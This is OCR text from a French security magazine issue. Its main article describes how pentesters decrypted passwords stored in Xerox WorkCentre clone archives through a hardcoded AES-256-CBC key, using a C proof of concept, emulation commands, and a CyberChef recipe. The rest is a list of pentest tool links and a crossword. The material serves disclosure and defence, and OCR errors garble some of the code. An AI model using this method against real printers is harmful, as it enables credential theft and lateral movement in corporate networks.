37 if (svar3 < param_3) {

38 strcpy(param_2, src);

39 free(local_2c);

40 Log_SpecEntry(logSpecReturn,"system/xad/nc/uk/software/genlib/xsa/src/xsa_crypt.c",@x5e,
41 "%s","XSA_DecryptPassword");

42 warl = 0;]

|dentification d'une clef de chiffrement symétrique en dur dans le code décompilé (fonction de déchiffrement)

En effet, la clé est utilisée en tant que parameétre lors de I'appel aux fonctions esscrypto_decryptString et esscryp-
to_encryptString.

A ce stade nous avons donc face a nous :

« Une clé de chiffrement / déchiffrement ;

« Un clair connu pour notre compte de test;

« Une chaine de caractéres (mot de passe chiffré) ;

« Labibliothéque utilisée avec les fonctions de chiffrement / déchiffrement.

Il est temps désormais de comprendre l'algorithme utilisé et surtout de nous assurer qu'il s'agit bien des bonnes
fonctions recherchées.

‘ XM Com] Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



Le déchiffrement

Il sagit d’'une solution qui consiste tout simplement a utiliser la bibliothéque dans une architecture qui lui
convient. Nous regardons tout d’abord les informations (l'architecture) dans lesquelles ont été compilées les
bibliothéques qui nous intéressent (avec file ou binwalk par exemple) :

libxsa.so
HEXADECIMAL

ELF, 32-bit MSB shared object, PowerPC or cisco 4500, version 1 (SYSV)
0x22E54 Unix path: /opt/workspace/spyglass_high_lynx_eng/system/xad/nc/uk/software/genlib/xsa/src/xsa.pgc

Récupération de l'architecture utilisée pour compiler la bibliothéque libxsa.so

Il s'agit la d'une architecture PowerPC (32-bit). Nous allons donc utiliser un émulateur obtenu sur le site de Qemu
(https://wiki.gemu.org/Documentation/Platforms/PowerPC) avec une Debian.

1. Langons I'émulateur :

./gemu-system-ppc -L pc-bios -boot ¢ -M mac99, via=pmu -m 2048 -net nic, mo-
del=sungem -net user, hostfwd=tcp : :10022- :22 -hda debian wheezy powerpc
desktop.qcow2 -g 1024x768x32

2. Connectons-nous en SSH dessus
ssh root@localhost -pl0022

3. Déplacons ensuite de la bibliotheque libxsa.so et créons un fichier xmco_decrypt.c

4, Vérifions les dépendances de la bibliothéque libxsa.so

rootEdebi
1
libpthread . )
libechr ” <
~ 50 dépendances a

récupérer dans le dim du
firmware (ajoutées a notre /

Récupération de l'architecture utilisée pour compiler la bibliothégue libxsa.so
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Nous les récupérons au sein des différents DLM et nous les plagons dans le répertoire /lib du systéme déployé.

5. Quelques lignes de C pour réutiliser la fonction de déchiffrement qui nous intéresse :

<dlfcn.h>
<stdio.h>
<stdlib.h>

int main(int argc, charxkx argv) {
void *libessCrypto;
int (xesscrypto_decryptString_call)();

(libessCrypto=dlopen("/1lib/libxsa.so", RTLD_LAZY)) {
esscrypto_decryptString_call = dlsym(libessCrypto, "XSA_DecryptPassword");

char clear[100];
int size = ;

printf("XMCO - XSA Decrypt Script ");
(xesscrypto_decryptString_call)(argv[1l], clear, size);

printf("- Hash: - Clear: ", argv[1], clear);

Programme en langage C utilisant la fonction de déchiffrement issu de la bibliothéque libxsa.so”

Précisons que plusieurs autres techniques auraient pu étre utilisée a l'instar de celles s'appuyant sur la variable
d’environnement LD_PRELOAD.

6. Compilation de notre POC et vérification de son fonctionnement

gcc xmco_decrypt.c -o xmco_decrypt -Idl

root@debian-powerpc:~# ./xmco_decrypt Ox448EDSM = H
XMCO - XSA Decrypt Script

- Hash: Ox448ED5E ™« 1
- Clear: Serss m

Déchiffrement d'un mot de passe (différent de notre exemple azerty) via l'outil xmco decrypt développé en C

Nous retrouvons bien notre mot de passe en clair ! Il s'agit donc bien de la fonction utilisée pour chiffrer / déchif-
frer les mots de passe des clones par WorkCentre. L'analyse de firmware plus anciens nous a permis de confirmer
que c'était le cas depuis plusieurs années.

Déployer un émulateur PowerPC, récupérer les dépendances, etc., peuvent paraitre des étapes fastidieuses. Une
seconde solution a été testée en paralléle afin de ré-exploiter plus facilement cette vulnérabilité dans nos autres
missions.

En étudiant le code C et apres quelques tests, nous comprenons qu’une clé de chiffrement symétrique (AES 256 -

CBC) de 15 bytes (paddés avec 17 caracteres nuls / null byte) est hardcodée au sein du firmware de I'imprimante.
A cela est associé un vecteur d'initialisation de 16 caractéres nuls (null byte).
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Dés lors que l'algorithme est identifié, nous pouvons en quelques lignes développer notre propre outil pour
s'occuper de déchiffrer les mots de passe chiffrés des clones. Lintérét de scripter celui-ci permet notamment de
fournir en entrée un export de clone et d'automatiser aussi bien la récupération des mots de passe chiffrés que
leur déchiffrement (une liste ou un unique mot de passe chiffré pouvant également étre fourni au programme).

—X 0x448ED5E =

N\ /NN A i
/N /NI NN/

N/
/N /NN N (L) > o<

/_IN_\/ /NS NN/ NN

[*] Decrypted password: Sers®ik" (0x448ED5& =

Déchiffrement d'un mot de passe (différent de notre exemple azerty) via l'outil XMRox développé en Python

Pour les curieux, les bibliothéques pycryptodome ou pycrypto permettent de répondre a ce besoin (si le Python
est choisi).

Derniére illustration de solution utilisée pour déchiffrer rapidement un unique mot de passe au cours de nos
recherches, Cyberchef [3]. A l'aide de cet outil, il est relativement simple de déchiffrer ou décoder des chaines
(modulo le fait de disposer des parametres nécessaires a la fonction utilisée).

Dans I'exemple ci-dessous, nous avons donc :

« Lalgorithme AES-256-CBC;

+ Laclé en hexadécimal de 15 bytes avec un padding en fin de chaine de 17 bytes;

+ Unvecteur d'initialisation nul de 32 bytes;

+ Notre input en hexadécimal qui est tout simplement le mot de passe chiffré récupérable dans le fichier xsa_
clone;

« Loutput en clair qui nous retourne bien la valeur de démo.

Recipe S Input

BxFACA310AB93C4D9EBGECF952C97DDE26G
AES Decrypt

Key =
ox536 I 00 . "¢ Output

W azerty
0x00000000000000000000000000000000 HEX ~

Mode Input Output

CBC Hex Raw

GCM Tag HEX ~

Déchiffrement d'un mot de passe via l'outil CyberChef
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Conclusion

Cette vulnérabilité nous a permis de récupérer des comptes enregistrés dans les imprimantes qui étaient ensuite
réutilisés sur I'AD (avec des privileges), nous permettant de poursuivre notre exploitation sur le périmétre. Nos
vérifications sur d'autres versions du firmware jusqu’a 2014 et d’autres modéles ont montré que la vulnérabilité
n'‘était pas isolée et ce point a été confirmé par les équipes de Xerox qui ont évalué ce probléme “criticity level
of IMPORTANT".

Cette vulnérabilité impacte les modéles antérieurs a mai 2020, n'ayant pas le patch de sécurité SPAR - 075.
xxx.000.12010 installé (Software Problem Action Request). Dans le cas ou les patchs de sécurité ne sont pas régu-
lierement déployés, les correctifs ont été inclus dans la version du systéeme datée de novembre 2020.

A noter que comme pour tout systéme, il est fortement recommandé d’appliquer les correctifs de sécurité (SPAR
dans I'écosystéme Xerox) afin de pallier au plus tot a ce type de vulnérabilité.

Par ailleurs, nous avons pu noter la présence d'une fonctionnalité de chiffrement des archives «clone». En effet,
les versions les plus récentes du systeme «Xerox WorkCentre» proposent de chiffrer I'archive contenant la confi-
guration avec un mot de passe arbitraire saisi par 'utilisateur. Dés lors, en cas d’accés illégitime a ce type d'ar-
chive, un attaquant devra réaliser une attaque de force brute afin de pouvoir exploiter la vulnérabilité présentée
au sein de cet article.

Néanmoins, dans le cas ou l'attaquant accede au panneau de configuration d'une imprimante, il pourra toujours
extraire une archive en ne saisissant aucun mot de passe additionnel.

[1] Bulletin officiel Xerox XRX20-L
https://securitydocs.business.xerox.com/wp-content/uploads/2020/06/cert_Security_Mini_Bulletin_XRX20L_for_
ConnectKey-1.pdf

[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36201

[3] https://github.com/gchq/CyberChef/
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Au programme : tips, mots croisés et comptes

Twitter

par Bastien CACACE

Ce document est la

Breves de sécu

> Reading letter

Sujets plus ou moins techniques a creuser

> Les mots croisés de la sécu

Saurez-vous le terminer ?

> Twitter

Sélection de comptes Twitter
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Breves de sécu

Un repository de listes pour les fuzz #pentest
#pentest #bugbounty
https://github.com/Karanxa/Bug-Bounty-Wordlists

Un outil d’exploitation des vulnérabilités GraphQL lorsque I'introspection est désactivée
#pentest
https://github.com/yok4i/clairvoyancex

Un outil pour refactoriser les chemins d’attaque de BloodHound
#pentest
https://qgitlab.com/forestallio/kangal

Un outil pour les audits/Tl sur Exchange
#pentest #audit
https://github.com/sensepost/ruler

Retex d’une investigation suite a une compromission d’email entreprise (BEC)
#forensic
https://www.synacktiv.com/en/publications/yet-another-bec-investigation-on-m365.html

Détecter le trafic réseau lié a DCSync et DCShadow
#forensic
https://blog.nviso.eu/2021/11/15/detecting-dcsync-and-dcshadow-network-traffic/

Utiliser les policies de CloudQuery pour sa compliance PCI DSS AWS
#GRC
https://www.cloudquery.io/blog/running-aws-pci-dss-with-cloudquery-policies

Proxy Agent, un outil pour les pentests mobile
#pentest #mobile
https://medium.com/csg-govtech/proxy-agent-a-tool-for-mobile-penetration-testers-a9796e99f3ca

Quelles sont les données que le FBI peut demander Iégalement sur les différentes applications de messagerie ?
#privacy
https://therecord.media/fbi-document-shows-what-data-can-be-obtained-from-encrypted-messaging-apps/

Exfiltrer des données via du CSS
#pentest
https://github.com/PortSwigger/css-exfiltration

Des API pour I'OSINT
#OSINT
https://github.com/cipher387/API-s-for-OSINT

Interview des développeurs de GTA 1 en 1996 dans leurs locaux

#boomer
https://twitter.com/BBCArchive/status/1128963886781227009
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Horizontal

Vertical

4. Logiciel espion congu par une société israélienne

1. Groupe d’attaquants, créé en 2009, qui est consi-
déré comme I'un des plus actifs avec des campagnes
d’attaques par ransomwares et d’espionnage globa-

lisées.

6. Terme qui désigne le vol ou la revente massive de don-
nées de carte bancaire

2. L'équivalent de la base SAM sous Linux

7. Un attribut de sécurité pour définir quand envoyer (ou
non) un cookie

3. Célebre malware identifié en 2008 qui a infecté des

millions de machines

8. Protocole de routage du trafic entre les différents Au-
tonomous Systems

5. Technique d'élévation de privilege sous Windows

ou de la patate chaude

9. Réseau social qui a disparu d'Internet pendant plus de
5 heures

10. Scanner de vulnérabilités basé sur des templates

YAML
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12. Technique qui a pour objectif de diviser un réseau in-
formatique en plusieurs sous-réseaux

11. Mécanisme ou procédé qui permettent de récu-
pérer un schéma GraphQL via I'API

Horizontal

Vertical

13. Systeme de notation envisagé par I'état pour évaluer
le niveau de sécurité d’'une application web

15. Plateforme de streaming s'étant fait dérober 125
Go de données confidentielles

14. Mécanisme de sécurité du noyau Linux concourant
a assurer un confinement d'exécution des applications
s'exécutant sur le systeme

16. Nom de la bibliotheque Java affectée récemment
par une vulnérabilité critique

15. Attaque découverte par une équipe de l'université de
Cambridge affectant la spécification Unicode

17. Service ou protocole permettant d'obtenir des infor-
mations sur une adresse IP ou un nom de domaine

18. Technique utilisée par des fraudeurs pour piller les
distributeurs de billets

19. La caractéristique d'une cyberattaque la plus difficile
a déterminer
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